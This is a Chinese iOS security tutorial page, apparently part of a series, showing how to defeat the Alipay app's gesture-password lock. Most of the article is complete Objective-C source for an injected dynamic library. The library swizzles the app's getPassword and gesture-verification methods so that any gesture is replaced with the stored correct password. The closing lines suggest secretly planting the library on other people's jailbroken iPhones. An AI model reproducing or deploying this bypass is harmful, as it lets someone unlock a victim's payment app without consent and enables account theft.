鍍金池/ 教程/ iOS/ Hack 實戰(zhàn)——支付寶 App 手勢密碼校驗欺騙
Hack 實戰(zhàn)——支付寶 App 手勢密碼校驗欺騙
使用 Reveal 分析他人 App
后臺 daemon 非法竊取用戶 iTunesstore 信息
使用 iNalyzer 分析應用程序
越獄檢測的攻與防
使用 introspy 追蹤分析應用程序
廢除應用程序的 ASLR 特性
使用 Cycript 修改支付寶 App 運行時
敏感邏輯的保護方案
Fishhook
使用 class-dump-z 分析支付寶 App
static 和被裁的符號表
iOS7 的動態(tài)庫注入
二進制和資源文件自檢
Hack 實戰(zhàn)——探究支付寶 App 手勢密碼
使用 Keychain-Dumper 導出 keychain 數(shù)據(jù)
數(shù)據(jù)擦除
Hack 實戰(zhàn)——解除支付寶 App 手勢解鎖錯誤次數(shù)限制
Objective-C 代碼混淆
阻止 GDB 依附
基于腳本實現(xiàn)動態(tài)庫注入
Hack 必備的命令與工具
鍵盤緩存與安全鍵盤
數(shù)據(jù)保護 API

Hack 實戰(zhàn)——支付寶 App 手勢密碼校驗欺騙

iOS 安全攻防(十一):Hack實戰(zhàn)——探究支付寶 app 手勢密碼中,介紹了如何利用 gdb 分析 app ,確定了支付寶 app 的手勢密碼格式為字符串,9 個點分別對應 123456789。在 iOS 安全攻防(十二):iOS7 的動態(tài)庫注入中,介紹了如果利用越獄大神們?yōu)槲覀冮_辟的 iOS7 動態(tài)庫注入方法。

本文將繼續(xù)深入 hack 實戰(zhàn),hook 支付寶手勢密碼校驗操作,欺騙其通過任意手勢輸入。

那么到現(xiàn)在為止,我們已經(jīng)掌握了什么信息呢?

1)一個名叫 GestureUnlockViewController 的類,含有 gestureInputView:didFinishWithPassword: 方法,來處理輸入的手勢

2)正確的手勢密碼通過一個名叫 GestureUtil 的類讀取,方法是 getPassword

思路馬上清晰了,我們需要做 2 步:

1)hook getPassword 存下正確的密碼

2)hook gestureInputView:didFinishWithPassword: 替換當前輸入為正確的密碼

一個關鍵點,我們是用 Method Swizzling 來 hook,那么就意味操作不能過早,因為我們要保證在取到 GestureUnlockViewController 和 GestureUtil class 后,才能進行 imp 替換。

所以, 我采用 NSNotificationCenter 通知機制協(xié)助完成任務。


#import <objc/runtime.h>  
#import <UIKit/UIKit.h>  

IMP ori_getPasswd_IMP = NULL;  
IMP ori_gesture_IMP = NULL;  

@interface NSObject (HackPortal)  

@end  

@implementation NSObject (HackPortal)  

+ (id)getPassword  
{  
    NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword));  
    return passwd;  
}  

- (void)gestureInputView:(id)view didFinishWithPassword:(id)password  
{  
    password = ori_getPasswd_IMP(self, @selector(getPassword));  
    ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password);  
}  

@end  

@implementation PortalListener  

- (id)init  
{  
    self = [super init];  
    if (self) {  
        [[NSNotificationCenter defaultCenter]addObserver:self  
                                                selector:@selector(appLaunched:)  
                                                    name:UIApplicationDidBecomeActiveNotification  
                                                  object:nil];  
    }  
    return self;  
}  

- (void)appLaunched:(NSNotification *)notification  
{  
    Class class_GestureUtil = NSClassFromString(@"GestureUtil");  
    Class class_PortalListener = NSClassFromString(@"PortalListener");  
    Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword));  
    ori_getPasswd_IMP = method_getImplementation(ori_Method);  
    Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword));  
    method_exchangeImplementations(ori_Method, my_Method);  

    Class class_Gesture = NSClassFromString(@"GestureUnlockViewController");  
    Method ori_Method1 = class_getInstanceMethod(class_Gesture,  
                                                 @selector(gestureInputView:didFinishWithPassword:));  
    ori_gesture_IMP = method_getImplementation(ori_Method1);  
    Method my_Method1 = class_getInstanceMethod(class_PortalListener,  
                                                @selector(gestureInputView:didFinishWithPassword:));  
    method_exchangeImplementations(ori_Method1, my_Method1);  
}  

-(void)dealloc  
{  
    [[NSNotificationCenter defaultCenter]removeObserver:self];  
}  

@end  

static void __attribute__((constructor)) initialize(void)  
{  
    static PortalListener *entrance;  
    entrance = [[PortalListener alloc]init];  
}  

OK!編譯好動態(tài)庫,塞進 iPhone 試試效果吧~

不管我們輸入什么手勢,都會被替換為正確的密碼去給 gestureInputView:didFinishWithPassword: 驗證,然后順利解鎖。

這意味著什么呢?

意味著,我們可以通過正規(guī)的渠道讓用戶下載這個動態(tài)庫,然后悄悄放進越獄的 iPhone 的 /Library/MobileSubstrate/DynamicLibraries/ 目錄下……然后……然后去給妹紙帥鍋變魔術吧:“你看,我和你多心有靈犀,你改什么密碼我都猜的到!”